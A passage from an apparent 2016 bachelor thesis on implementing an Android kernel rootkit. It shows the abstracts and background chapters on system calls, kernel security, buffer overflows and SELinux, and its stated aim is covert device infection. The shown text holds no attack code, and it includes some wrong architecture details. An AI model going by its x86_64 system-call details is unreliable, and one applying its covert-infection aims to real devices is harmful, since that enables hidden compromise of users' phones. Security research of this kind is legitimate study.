SlideShare una empresa de Scribd logo
1 de 104
Descargar para leer sin conexión
Implementation of an Android Kernel
Rootkit for Unrooted Stock Images
Marcel Breitenfellner
B A C H E L O R A R B E I T
Nr. S1310237008-A
eingereicht am
Fachhochschul-Bachelorstudiengang
Mobile Computing
in Hagenberg
im Juni 2016
Diese Arbeit entstand im Rahmen des Gegenstands
Sicherheit in mobilen Systemen
im
Sommersemester 2016
Betreuer:
Dr. Erik Sonnleitner
ii
Declaration
I hereby declare and confirm that this thesis is entirely the result of my
own original work. Where other sources of information have been used, they
have been indicated as such and properly acknowledged. I further declare
that this or similar work has not been submitted for credit elsewhere.
Hagenberg, June 15, 2016
Marcel Breitenfellner
iii
Contents
Declaration iii
Kurzfassung vii
Abstract viii
1 Introduction 1
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.3 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.4 Outline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2 Linux Kernel 3
2.1 Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2.1.1 Kernel Space versus User Space . . . . . . . . . . . . . 4
2.1.2 Kernel Architectures . . . . . . . . . . . . . . . . . . . 7
2.1.3 Subsystems . . . . . . . . . . . . . . . . . . . . . . . . 7
2.1.4 Supported Architectures . . . . . . . . . . . . . . . . . 10
2.2 Kernel Security . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.2.1 Discretionary Access Control . . . . . . . . . . . . . . 11
2.2.2 Network Access Control . . . . . . . . . . . . . . . . . 12
2.2.3 Memory Protection . . . . . . . . . . . . . . . . . . . . 13
2.2.4 Linux Security Modules . . . . . . . . . . . . . . . . . 17
2.2.5 Kernel Capabilities . . . . . . . . . . . . . . . . . . . . 20
2.3 Loadable Kernel Modules . . . . . . . . . . . . . . . . . . . . 20
2.3.1 Structure . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.3.2 Building . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.3.3 Managing . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.4 Kernel Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.4.1 Kernel Modification Techniques . . . . . . . . . . . . . 26
2.4.2 Defense . . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.5 Additional Concepts . . . . . . . . . . . . . . . . . . . . . . . 30
2.5.1 Process . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.5.2 Filesystems . . . . . . . . . . . . . . . . . . . . . . . . 30
iv
Contents v
2.5.3 Types . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
2.5.4 Networking . . . . . . . . . . . . . . . . . . . . . . . . 32
2.6 Futex Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3 Android Characteristics 34
3.1 Android Open Source Project . . . . . . . . . . . . . . . . . . 35
3.2 Bionic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.3 Virtual Machines . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.3.1 Dalvik Virtual Machine . . . . . . . . . . . . . . . . . 36
3.3.2 Android Runtime . . . . . . . . . . . . . . . . . . . . . 36
3.4 Unique Android Kernel Features . . . . . . . . . . . . . . . . 37
3.4.1 Android Shared Memory . . . . . . . . . . . . . . . . . 37
3.4.2 Binder . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.4.3 Process Memory Allocator . . . . . . . . . . . . . . . . 38
3.4.4 Logger . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.4.5 Wakelocks . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.4.6 Out of Memory Handling . . . . . . . . . . . . . . . . 40
3.4.7 Alarm Timers . . . . . . . . . . . . . . . . . . . . . . . 40
3.4.8 Paranoid Networking . . . . . . . . . . . . . . . . . . . 41
3.4.9 Timed Output . . . . . . . . . . . . . . . . . . . . . . 41
3.4.10 RAM Console . . . . . . . . . . . . . . . . . . . . . . . 42
3.4.11 Other Changes . . . . . . . . . . . . . . . . . . . . . . 42
4 Related Work 43
4.1 SuckIt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4.1.1 Features . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.1.2 Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.2 Suterusu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
4.2.1 Features . . . . . . . . . . . . . . . . . . . . . . . . . . 46
4.2.2 Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . 47
4.3 Android Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . 48
4.3.1 Obtaining System Call Table . . . . . . . . . . . . . . 48
4.3.2 Calculating System Call Table Size . . . . . . . . . . . 50
4.4 Android Modem Interception . . . . . . . . . . . . . . . . . . 51
5 Implementation 52
5.1 Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
5.1.1 System Architecture . . . . . . . . . . . . . . . . . . . 52
5.1.2 Kernel Rootkit . . . . . . . . . . . . . . . . . . . . . . 54
5.1.3 Root Exploit Tool . . . . . . . . . . . . . . . . . . . . 55
5.1.4 Infection via an APK . . . . . . . . . . . . . . . . . . 56
5.2 General Requirements . . . . . . . . . . . . . . . . . . . . . . 56
5.3 Building a Kernel . . . . . . . . . . . . . . . . . . . . . . . . . 57
5.3.1 Obtaining Sources . . . . . . . . . . . . . . . . . . . . 57
Contents vi
5.3.2 Compiling . . . . . . . . . . . . . . . . . . . . . . . . . 57
5.3.3 Packaging . . . . . . . . . . . . . . . . . . . . . . . . . 59
5.3.4 Execution . . . . . . . . . . . . . . . . . . . . . . . . . 59
5.4 Kernel Rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . 61
5.4.1 Building . . . . . . . . . . . . . . . . . . . . . . . . . . 61
5.4.2 Core Features . . . . . . . . . . . . . . . . . . . . . . . 62
5.5 Exploit Binary . . . . . . . . . . . . . . . . . . . . . . . . . . 68
5.5.1 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
5.5.2 Add Payload . . . . . . . . . . . . . . . . . . . . . . . 70
5.6 Infection APK . . . . . . . . . . . . . . . . . . . . . . . . . . 71
5.7 Infection Process . . . . . . . . . . . . . . . . . . . . . . . . . 72
5.8 Experienced Problems . . . . . . . . . . . . . . . . . . . . . . 72
5.8.1 Pack Kernel Image . . . . . . . . . . . . . . . . . . . . 73
5.8.2 Find Right Commit . . . . . . . . . . . . . . . . . . . 73
5.8.3 Disable SELinux from Kernel . . . . . . . . . . . . . . 73
5.8.4 Communication Device File Permissions . . . . . . . . 74
5.8.5 Modify Ramdisk . . . . . . . . . . . . . . . . . . . . . 74
6 Evaluation 75
6.1 Practical Use . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
6.2 Defense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
6.3 Problems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
6.3.1 Root Permissions . . . . . . . . . . . . . . . . . . . . . 77
6.3.2 Android Fragmentation . . . . . . . . . . . . . . . . . 77
6.3.3 Special Security Features . . . . . . . . . . . . . . . . 78
6.3.4 Licensing Issues . . . . . . . . . . . . . . . . . . . . . . 78
6.4 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
6.4.1 Patch Boot Image On-The-Fly . . . . . . . . . . . . . 79
6.4.2 Build on Demand . . . . . . . . . . . . . . . . . . . . . 79
6.4.3 Modify Buildstring . . . . . . . . . . . . . . . . . . . . 79
6.4.4 Dynamic IPs / DNS . . . . . . . . . . . . . . . . . . . 79
6.4.5 Dynamic System Call Table Allocation . . . . . . . . . 80
6.4.6 Intercept GSM Communication . . . . . . . . . . . . . 80
6.4.7 Change Root Exploit . . . . . . . . . . . . . . . . . . . 80
6.4.8 Infect via /dev/kmem . . . . . . . . . . . . . . . . . . 81
6.4.9 Anonymize Reverse Shell . . . . . . . . . . . . . . . . 81
6.4.10 Hide Files in Different Folders . . . . . . . . . . . . . . 81
6.4.11 Hijack other Apps . . . . . . . . . . . . . . . . . . . . 81
7 Conclusion 82
A DVD Content 83
References 90
Kurzfassung
In dieser Arbeit werden wir ein Android Kernel Rootkit und den dazu-
gehörenden Infektionsweg konzipieren und implementieren. Bevor es dazu
kommt beschäftigen wir uns mit den Grundlagen des Linux Kernels, wie
zum Beispiel den enthaltenen Sicherheitskonzepten, um abschätzen zu kön-
nen wie ein Kernel Rootkit aufgebaut sein muss und welche Hindernisse uns
erwarten. Des Weiteren nehmen wir bereits bestehende Linux- und Android
Kernel Rootkits und Projekte zu diesem Thema unter die Lupe um einen
Eindruck zu erlangen welche Lösungen zu diesem Problem bereits existieren.
Basierend auf den Erkenntnissen aus den Grundladen des Linux Kernel
und der näheren Begutachtungen ähnlicher Schadsoftware werden wir ein
Konzept für ein funktionierendes Android Kernel Rootkit und den dazu-
gehörigen Infektionsweg erstellen und im Anschluss daran umsetzen. Das
Hauptaugenmerk bei der Infektion liegt dabei, dass diese für den Benut-
zer möglichst unauffällig erfolgt. Des Weiteren sehen wir uns Ausschnitte
des finalen Quellcodes der Schadsoftware im Detail an und erörtern wie die
Kernfunktionalitäten implementiert wurden.
Am Ende dieser Arbeit fassen wir das gewonnene Wissen zusammen und
geben einen Ausblick auf zukünftige Arbeiten in diese Richtung.
vii
Abstract
In this thesis we will design an Android kernel rootkit and a way of infection
from the scratch. Before the actual implementation process starts, we will
take a look at how the Linux kernel in general works to find out which
security features we have to take care of and where we could tweak the kernel
internals in the implementation process in order to gain rootkit behaviour.
In this work we will also take a closer look at similar kernel rootkits to
understand how other developers implemented the malicious features.
The core part is the design and implementation process of the rootkit and
the way of infection. Based on the gained knowledge of the kernel basics and
the dissection of similar malware we will design an Android kernel rootkit
from the scratch. We will also take a look at how a device could be infected
without the user knowing and how the rootkit can survive on an Android
device. In this thesis we will also take a look at the actual source code in order
to explain how we actually managed to implement the desired behaviour.
At the end of this work we will conclude the gained knowledge and
discuss ideas for future work gathered while working on this topic.
viii
Chapter 1
Introduction
1.1 Motivation
By now there are billions of active Android based devices in many different
versions and with custom modifications [22]. But all are based on the same
heart - the Linux kernel. With access to the kernel we have full control over
the device. In this thesis we will look into what exactly a Linux kernel is,
how the kernel, which is used in Android based devices, differs from that
and what we can actually do by implementing a Linux kernel module for an
Android based device and what limitations and difficulties there are.
1.2 Challenges
While Android applications are usually developed in Java and executed in
the dalvik virtual machine (DVM), the system beneath that is developed in
plain C. In addition to that we are developing in kernel space, which means,
beside the fact that all the libraries change, we have to be very careful. A
single pointer to the wrong piece of memory could be enough to crash the
kernel or even corrupt the file system. There is nothing which protects us
from damaging the system.
1.3 Goals
What we want is a running Linux kernel module on an Android device. To
achieve that we maybe need to compile our own kernel for the particular
testing device and get it running. Once we have a running kernel with the
first hello world module we can take a deeper look into kernel space develop.
For example purposes we will show up how to implement a simple Linux
kernel rootkit.
1
1. Introduction 2
1.4 Outline
At first we will take a look at the Linux kernel, how everything works,
what security mechanisms there are and what we need to know to build our
own Linux kernel module with simple rootkit functions. Then we continue
to a chapter where we will take a closer look at the differences between
the basic general Linux kernel and the kernel shipped with every Android
device. Since the Linux kernel source is published under the GNU General
Public License (GPL) license we also take a look where to get the Android
kernel source code from. To get a basic idea how a kernel rootkit works we
take a look at some other popular rootkits, what functions they offer and
most importantly how exactly they manage to do what they are doing, since
kernel space programming can be very tricky. Then we will continue to build
our own kernel module and expand it with the newly gained knowledge of
how to actually implement a Linux kernel rootkit. At the end we sum it all
up and draw a conclusion about what we have learned and what is open for
improvements.
Chapter 2
Linux Kernel
When we hear Linux some of us will think of a whole operating system, but
in fact it’s only the same kernel that all of them share - the Linux kernel.
Developed by Linus Torvalds in 1991, as a little private project without
expecting to gain big attention, he created a lightweight POSIX like system
which targeted the Intel 80386 microprocessor with an x86_64 architecture
[59]. It happened to be a huge success as we know today. By now 486 of
the Top 500 fastest super computers worldwide are running a Linux based
system, mostly because it’s open source, which means that it can be easily
adapted to the special needs of those machines [88]. As we know Android
uses also an adapted Linux kernel for its operating system, which had a
market share of 82.8% in 2015 [47]. On the server side there is a likelihood
of 53.4% to communicate with a Linux server on the World Wide Web [88].
Due to its versatility operating systems based on the Linux kernel also had
a 56.2% market share in embedded devices like TVs or routers [18]. The
trend is also likely to continue due to the growing market for the Internet of
Things, which is basically a bunch of small, energy saving embedded devices,
a perfect environment for the Linux kernel.
A few reasons why Linux is so successful are:
GPL licensed the kernel source code is. [sic] This license allows free of
charge use for private and commercial projects. But we have to con-
sider that the source code has to be republished under GPL if the
kernel source code was modified not for internal use only [33].
Fast updates are provided by the big community. If problems occur or ma-
jor security risks are published, community patches are often available
only a few hours later and added to the kernel source tree soon.
Small and efficient design is a key aspect of the kernel. It is possible to
fit the whole kernel image on an floppy disk (1.44MB) if needed [59].
Paid developers sponsored by big companies such as Google or Intel con-
tribute over 85% of all commits to the Linux kernel source code [26].
3
2. Linux Kernel 4
Compatability is a big deal in Linux. At the beginning the kernel was only
compatible to the i386 architecture, but nowadays it runs on a variety
of architectures. Among them are x86_64, ARM, mips, and powerpc [56].
It can also directly mount filesystems used in other operating system
like MS-DOS, Windows, OS X, OS/2, Solaris and many more [59].
2.1 Structure
So what actually is a kernel and what are its tasks to accomplish? If we take
a look at the architecture of a modern operating system, the kernel is always
the core which provides the basic functionalities with the highest privileges
such as the low level hardware communication, process management, mem-
ory management, file system access and the networking stack.
2.1.1 Kernel Space versus User Space
An operating system always consists of a so called privileged and an unpriv-
ileged space (or mode) - in Linux it’s the user and kernel space (see figure
2.1). This is needed to protect the system and security critical features as the
memory management or the networking stack. In kernel mode there aren’t
any access restrictions present, which means once a kernel module (see sec-
tion 2.3) is loaded, it can modify the whole system. This is not required for
most processes running on an computer, but the kernel needs these rights to
manage the system resources and distribute them to all currently running
user mode processes.
Applications
C Library
System Call Interface
Kernel
Hardware
User Space
Kernel Space
{
{
Figure 2.1: High-level Overview of the Structure of the Linux kernel.
2. Linux Kernel 5
As mentioned before, all system relevant operations like memory or process
management happen in kernel space. Also the low level device drivers are
located there to provide an interface to user space to be used by applications.
The only mechanism for controlled communication between these two modes
is the system call interface (SCI), which provides certain low level kernel
functionalities to user space applications [63].
System Call
A system call in Linux is used when a user space program wants to call a
kernel provided functionality in a controlled way. Such an action is every-
thing hardware related like hard disk I/O or video card access. Also new
processes can only be created with a special system call. A modern Linux
kernel has about 300 different system calls. There are a few very similar
calls due to downward compatibility reasons. Once a specific system call is
implemented in a stable version it is unlikely to be removed again later,
because user space programs, which used this particular system call earlier,
could crash if there is no valid return value.
On the technical side a system call in Linux on x86_64 is initiated by a
software interrupt. This causes the system to switch from user into kernel
mode and read the EAX register which contains the requested system call
number. If there are any function parameters they are provided through the
EBX to EDX, ESI and EDI registers. The kernel executes the requested call
and sends the return value (errors are special values too) back to the calling
function in user space. In table 2.1 we can see a list of well knows functions
implemented as system calls. We can see which parameters are required in
the registers for the system call to be executed successfully after issuing the
software interrupt.
Name EAX EBX ECX EDX ESI EBI
sys_chdir 12 char* path - - - -
sys_chmod 15 char* path mode_t perm - - -
sys_getpid 20 - - - - -
sys_mkdir 39 char* path - - - -
Table 2.1: Example System Calls for x86_64 (see: syscalls.h and
syscall_64.tbl)
The collection of all system calls is called system call table (SCT), which is
represented by a list of pointers in the system memory. Each one points to
the specific function which is responsible for the particular action. Access to
this table of pointers is very important for a kernel rootkit, to hook kernel
functions in order to infect the system. This is why the SCT kernel symbol
2. Linux Kernel 6
was only exported until kernel version 2.4. Now it’s much harder to find
and modify this table, because it’s located in the read only section of the
memory (see section 2.4 for in depth information).
For example lets take a look at the sys_getpid system call. This system
call returns the process identifier (PID) of the calling process. As we see
in table 2.1 we only need to push the system call number (20) to the EAX
register and then execute the software interrupt 0x80 (on x86_64 systems)
as we can also see in figure 2.2. The system then fetches the pointer of the
SCT at position 20 and calls it with the passed arguments stored in the
registers. We can see the internal implementation of sys_getpid in listing
2.1.
Listing 2.1: System Call Implementation
1 asmlinkage long sys_getpid(void)
2 {
3 return current->tgid;
4 }
This very simple system call only returns the thread group identifier (TGID),
which is in almost all cases identical to the PID [51].
User
Application
C Library Kernel System Call
get_pid()
Return
Return
system_call_table[EAX]()
EAX = _NR_GET_PID
Transition to Kernel Space
0x80
User Space Kernel Space
Transition to User Space
Figure 2.2: sys_getpid Call Trace [51]
2. Linux Kernel 7
2.1.2 Kernel Architectures
There are two main types into which every kernel can be categorized. There
are monolithic and micro kernels. Micro kernels are, as the name implies,
very minimalistic kernels, which only include the most fundamental features
such as process and low level memory management in kernel space. Other
functionalities like the networking stack are, if needed anyway, implemented
as an user space process. This has the advantage of a very small modu-
lar kernel but is sometimes slower then a monolithic kernel image due to
communication overhead [28]. On the other hand in a monolithic kernel all
needed core features run in kernel mode and are bundled into a single kernel
image binary, like the Linux kernel does. Due to the optimizations provided
at compile time a speed boost is possible here. To compete with the micro
kernels flexibility, the Linux kernel also knows the concept of loadable ker-
nel modules (LKMs), which we will discuss later in section 2.3. A LKM is a
compiled binary specially built for each kernel to work with, which can be
loaded and unloaded into the kernel at runtime. It provides miscellaneous
functions like a device driver or - to sneak a bit on the dark side - a kernel
rootkit.
2.1.3 Subsystems
Now that we have understood the SCI we can take a look at the underlying
subsystems in the Linux kernel. As we can see in figure 2.3 there are a few
more core components that are essential for the kernels to fulfil its tasks.
Process Management (PM) Virtual File System (VFS)
Memory Management (MM) Network Stack
Arch Device Drivers (DD)
System Call Interface (SCI)
Figure 2.3: Basic Kernel Architecture [50].
2. Linux Kernel 8
Arch The kernel also delivers some platform-dependent code which is need-
ed for the kernel to communicate on the assembly level with the un-
derlying hardware. A detailed overview of the supported hardware ar-
chitectures will be give in section 2.1.4. For each processor type which
is supported by the kernel there is a specific subdirectory in the Linux
kernel source code which targets its specific hardware features. That’s
the only part of the kernel code which is platform-dependent [50].
Device Drivers: The majority of the over 19 millions line of code the Linux
kernel consists of is provided by device drivers, which are responsible
for the communication with all the connected hardware [26]. Exam-
ples for device drivers which support special hardware are the USB or
Bluetooth driver, which are usually taken for granted but in fact need
special kernel implementation.
Memory Management: Probably the most important part of the kernel
is the memory management. It takes care of the separated kernel and
user space memory as well as the assignment of new memory areas to
processes or various buffers. It is also responsible for the abstraction of
the physical memory to pages (on most architectures 4kB in size) also
further higher level constructs are being tracked by the slab allocator.
When a system is about to run out of memory this system has to
decide which memory allocations to prioritize, which memory to swap
out to the hard disk and, if everything fails, which process to terminate
[42, 50].
Network Stack: The networking stack is needed to manage connections
between endpoints. It follows the strict layer design of the OSI model,
which separates for example the physical layer from the data link layer
(Ethernet) the network layer (Internet Protocol) and the transport
layer (mostly TCP or UDP). To user space the network stack is acces-
sible though the SCI [50].
Process Management: This part takes care of the execution of processes.
In kernel space they are called threads and in user space they are com-
monly called processes. But in fact they are technically almost identical
in the Linux kernel. From user space, processes can be managed using
the SCI, which provides all needed functions. Important system calls
are [45]:
fork is used to spawn a new process. It creates a child process for the
current process. The root of all processes has the PID 1 which is
started at system boot [91].
exec executes a program.
kill sends the passed signal to a process.
exit terminates the current process.
2. Linux Kernel 9
Scheduler: Since Linux is a multitasking system it can handle multiple
processes at the same time. Technically only as many processes as
(virtual) CPU cores can be executed simultaneously, so there has to
be a sub system that takes care of this and splits the processing time
in an as fairly as possible way to all processes. This system is called
scheduling system, which is an important part of the process manage-
ment subsystem. From user space it looks like every process is running
simultaneously, but in fact the scheduler assigns a little processing
time slice to every process every once and awhile. There are different
ways, so called governors (see table 2.2), to determine which process
to assign how much processing time.
Governor Description
performance CPU frequency set to maximum
powersave CPU frequency set to minimum
userspace Manually controlled from user space
ondemand Sets the CPU frequency depending on the CPU load
conservative Much like ondemand, but smaller frequency steps
Table 2.2: Governors in the Linux Kernel [17]
Virtual File System (VFS): To create and common API for all kinds
of file systems the Linux kernel implements a virtual file system to
provide abstract functions like open(), read() and write() [15, 50].
This abstraction API is again accessible via the SCI from user space
as we can see in listing 2.4.
write() sys_write()
filesystem
write function
User Space VFS Filesystem Physical
Media
Figure 2.4: Example Function Call Trace [15]
We will take a closer look at the virtual file system (VFS) and file
systems in section 2.5.2.
2. Linux Kernel 10
2.1.4 Supported Architectures
It is NOT protable [sic] (uses 386 task switching
etc), and it probably never will support anything
other than AT-harddisks, as that’s all I have :-(.
—Linus Torvalds, August 25, 1991
Initially Linus Torvalds developed the Linux kernel as a private project for
the i386 architecture. The project gained much attention and soon others
started developing an unofficial port of the kernel code to the Amiga, which
uses a Motorola 68000 architecture. They replaced a huge amount of im-
portant kernel code in order to run on the different architecture, which he
couldn’t keep track of in the main source tree [28, 57].
In order to get rid of this problem and make it easier to add support for
new hardware architectures Linus applied huge changes to the kernel code.
From there on everybody could rather easily port the Linux kernel to a new
architecture, which was soon accomplished with the first official kernel port
to the DEC Alpha AXP platform [28]. The most used ports nowadays are
shown in table 2.3.
Name Word Size
[bit]
Designed by Misc
i386 32 Intel -
x86_64 32, 64 Intel Standard for PCs
ARM 32, 64 ARM Holding Standard for smartphones and
tablets
mips 32, 64 MIPS Tech. Embedded systems, Sony Pl-
aystation, PlayStation 2 and
PlayStation Portable
powerpc 32, 64 Apple
IBM
Motorola
Apple PCs between 1994 and
2006, game console, embed-
ded applications
Table 2.3: Supported Architectures [15, 56]
But there is also support for a great number of other niche platforms as we
can see in table 2.4 [56].
2. Linux Kernel 11
Name Word Size
[bit]
Designed by Misc
avr32 32 Atmel -
blackfin 16, 32 Analog Devices -
cris 32 Axis -
frv 32 Fujitsu Designed for parallel pro-
cessing
h8300 8, 16, 32 Renesas Tech. -
m32r 32 Mitsubishi Mostly used in engine con-
trol units
m68k 32 Motorola -
s390 32 IBM -
sh 32 Hitachi -
sh64 64 Hitachi -
sparc 32 Oracle -
sparc64 64 Oracle -
v850 32 NEC -
xtensa 32 Tensilica Designed for digital signal
processing
Table 2.4: Supported Architectures [15, 56]
2.2 Kernel Security
By now we have discussed, that user and kernel space are separated for
architectural and security reasons, but we haven’t encountered any other
security mechanism. We now take a brief look at some security concepts
which are used in the Linux kernel.
2.2.1 Discretionary Access Control
One of the oldest security concepts in the Linux kernel is the discretionary
access control (DAC), which is basically inherited from the old UNIX kernel
it originates from. The basic concept is, only the owner of an object (e.g.
file or directory) can manage its access. For example if we create a new file
in the home directory, we can decide who can read and write to our new
file. This is a simple form of access control lists (ACLs) which are further
explained in section 2.2.1. Only the root user (superuser) is always allowed
to violate these access controls [64].
Technically this security policy is implemented as permission bits added
to the files inode on the file system, which can only be set by the owner of
the file or the superuser [65].
2. Linux Kernel 12
This mechanism doesn’t protect against buggy software or misconfigura-
tions, also the root user is a permanent security risk. Some data flows such
as network packets are not directly covered by this access control so there
are also a few more security mechanisms [65].
Access Control Lists
The portable operating system interface (POSIX) interface between the op-
erating system and the user application and defines how each compliant
application reacts on which case [85]. The Linux kernel complies to this
standard, so it distinguishes between three different access types [55]:
(r) read allows to read a file
(w) write allows to write to a file
(x) execute allows to execute a file
Each file system object is also associated with a user identifier (UID), group
identifier (GID) and the three sets of the previously mentioned access types
for the file owner, a group member and everybody else [55].
When a process requests access to a file system object (see figure 2.5) it is
classified to one of these three groups. Then it is checked which permissions
are granted each groups and whether the requesting process is allowed to
execute its action.
Owner
Group
Other
rwx
rwx
rwx
File Class File Permission Bits
Figure 2.5: The POSIX.1 File Permission Model [55].
2.2.2 Network Access Control
Since Linux has a well implemented network stack which features a variety
of protocols and the previously mentioned DAC and ACL only manage file
system access, there are also dedicated networking stack security features.
2. Linux Kernel 13
Netfilter
Netfilter is a framework on the network layer (Internet Protocol) which
hooks every packet that passes through the networking stack [65]. It provides
an API for LKMs, which lets them decide if a packet should be dropped or
passed to the next layer in the networking stack.
One famous example for the kernel modules (see section 2.3) is iptables.
This module implements an IPv4 firewall where the corresponding user space
program iptables manages a set of user defined rules, which every packet has
to pass to be forwarded to the next layer of the networking stack [64, 65].
There are also modules available to filter on the link layer (ebtables)
or ARP packets (arptables). The network stack also supports the secure
implementation of the Internet Protocol IPsec.
2.2.3 Memory Protection
All the memory protection mechanisms have basically only one goal: Make
it as hard as possible for malware to take advantage of a buffer overflow. But
in order to understand what we can do to improve the systems security, we
need to understand what actually happens when a buffer overflow is utilized.
Memory Layout
In figure 2.6 we can see the memory layout of an user space process on a
x86_64 architecture. It is divided into several parts.
kernel virtual memory: This is the dedicated region for the kernel ad-
dress space, it contains the kernel code and the whole stack and heap
(kmalloc(), kfree())
user space process stack: Contains the return address to jump to, the
local function variables and the function arguments.
user space process heap: Contains the processes memory allocated dur-
ing runtime (malloc()).
DATA segment: Contains pre-initialized global and static variables as
well as constants.
BSS segment: Contains uninitialized global and static variables filled with
zeros by default.
CODE segment: Contains the binary image of the process.
esp: Stack-Pointer - Points to the lower boundary of the stack.
brk: Break-Pointer - Points to the upper boundary of the heap.
2. Linux Kernel 14
Kernel Virtual Memory
User Space Process Stack
User Space Process Heap
(malloc)
DATA & BSS segment
(read- and writable)
CODE segment
(read-only)
0x00000000
brk pointer
esp pointer
0xc0000000
0xffffffff
Invisible to user
space code.
Directly loaded
from the executable
program file.
{
{
Figure 2.6: Process Memory Layout [80]
Buffer Overflow
Now that we know how the basic memory layout of a process looks like we
can go further. When a process is launched the stack is prepared for it with
the function arguments and the return address as we can see in figure 2.7.
Parent Process Stack
Return Address
char* buffer;
Local Variables
ESP
0xc0000000
EBP
Function Parameters
Old EBP
Figure 2.7: Stack Variables
2. Linux Kernel 15
If an attacker finds an unchecked buffer it is possible for him to write to
memory regions beyond the buffers borders. He will first overwrite all local
variables and finally reach the return address of the function. There he can
insert any address of prepared malicious code to compromise the system.
Now lets take a look at a few techniques which won’t completely suppress
this behavior, but make the attackers life much harder.
Address Space Layout Randomization
The idea here is to randomize all memory regions of a process to make it
more difficult to use a buffer overflow to execute exploit code [62, 69, 80].
This is achieved by moving all process memory regions like DATA, BSS
or HEAP at a random or at least for the intruder hard-to-guess memory
offset [62]. The offset is stored in a dedicated CPU register, but in a 32-bit
address space only a few bits can be used for randomization, which makes
it vulnerable to probabilistic attacks [9].
So this a rather simple but very effective method of improving security
on a Linux system, but there is no advantage without a disadvantage. In
order to work on a full ASLR enabled system every executable binary file
and every referenced library has to be compiled as position independent
executable (GCC: -fpie and -fpic option) [62, 69, 80].
If ASLR is enabled in the kernel and which enforcement level is currently
set can be determined by reading the corresponding /proc (see section 2.5.3)
file as we can see in listing 2.2.
Listing 2.2: Determine ASLR Status
1 cat /proc/sys/kernel/randomize_va_space
Possible values are:
0 ASLR is disabled. The kernel was booted with the norandmaps pa-
rameter [67].
1 ASLR is partially enabled. Randomizes the positions of the stack,
virtual dynamic shared object (VDSO) page, and shared memory re-
gions. The base address of the data segment is located immediately
after the end of the executable code segment [67].
2 ASLR is fully enabled. Randomize the positions of the stack, VDSO
page, shared memory regions, and the data segment. This is the default
setting [67].
2. Linux Kernel 16
Position Independent Executable
Applications which are compiled PIE compliant can be loaded at a random
address on start-up. Unfortunately usually only a small set of binaries used
in the operating system are compiled with the PIE option, because there is
a 5-10% performance penalty [69]. Android is the first Linux system which
dropped the support for non-PIE binaries in 2015 with version 5 [53].
Traditionally compilers produce position dependent code which refers to
actual memory addresses, but PIE executables use the fact, that modern
system run processes in their own virtual address space and therefore lets
the memory management unit take care of the offsets [80].
No Execute Bit
The NX-Bit is also known as executable space protection (ESP) in Linux or
data execution prevention (DEP) in Windows [86]. The idea is that memory
areas can be marked as non-executable. These memory regions are defined
in the ELF header of the loaded executable. If there are any violations the
system terminates the process. This is also an effective way to prevent the
execution of code which was injected by a buffer overflow [70, 80].
W⊕X
This concept is similar to NX (see section 2.2.3) and in order to work also
requires NX. The idea is to mark a memory page either as writeable (x)or
executable, but never both at once. It works like an XOR (that’s why it’s
called W⊕X or W^X) [69, 80].
2. Linux Kernel 17
2.2.4 Linux Security Modules
This project provides a general purpose access control framework in kernel
space, where specially designed kernel modules (see section 2.3) are used
to enforce security policies [78, 90]. DACs is useful for managing files and
resources between users, but don’t protect the system from possible attacks
[90]. The framework allows different access control models to be implemented
as Linux kernel modules which we will take a look at later.
To demonstrate how this all works take a look at figure 2.8.
User Level Process
System Call Open
Lookup inode
Error Checks
DAC
LSM Hook
Complete Request
inode
Examine Context
Does request pass policy?Yes or No
User Space
Kernel Space
Figure 2.8: LSM Hook Architecture [90]
When user space processes ask for access to a resource it has to be done
through the SCI (see section 2.1.1). All requests first pass the kernels exist-
ing security logic, which even includes the standard DAC. It is then passed
to the linux security modules (LSM) framework which can decide whether
to allow or disallow the access through its security policies [90]. Well known
implementations for LSMs are Security-Enhanced Linux (SELinux), simpli-
fied mandatory access control kernel (SMACK), TOMOYO and AppArmor.
Now lets take a closer look at the best-known of these implementations,
which is also used in Android.
2. Linux Kernel 18
SELinux
Was originally developed by the National Security Agency (NSA) and start-
ed a kernel security design discussion which led to the LSM concept. The
framework is implemented as a LSM and strictly separates between the
policy enforcement and the decision-making code [78, 90]. The idea is to
give a program the least privileges it needs to run, but nothing more, which
is in general called mandatory access control (MAC). Another key aspect
of SELinux is the role based access control (RBAC). The system defines
roles for different permission levels similar to MAC groups, but one role can
represent multiple users [49].
SELinux consists of four central components [80]:
Object Manager: The object manager decides which actions to allow or
disallow based on the security rules obtained by the AVC.
Access Vector Cache (AVC): Here all previous decisions are cached to
improve the systems performance.
Security Server: If the decision isn’t found in the AVC, the security server
is invoked to look for a matching decision in the binary policy file (see
figure 2.9) [49].
Security Policy: The rules are compiled into the security policy binary
file.
Object Manager
Subject
(process)
Object
(file, dir, etc.)
Security Server Security Policy
Access Vector Cache
(AVC)
Linux Kernel
Figure 2.9: SELinux Components [31]
2. Linux Kernel 19
A security context (or label) is a string which consists of four parts delimited
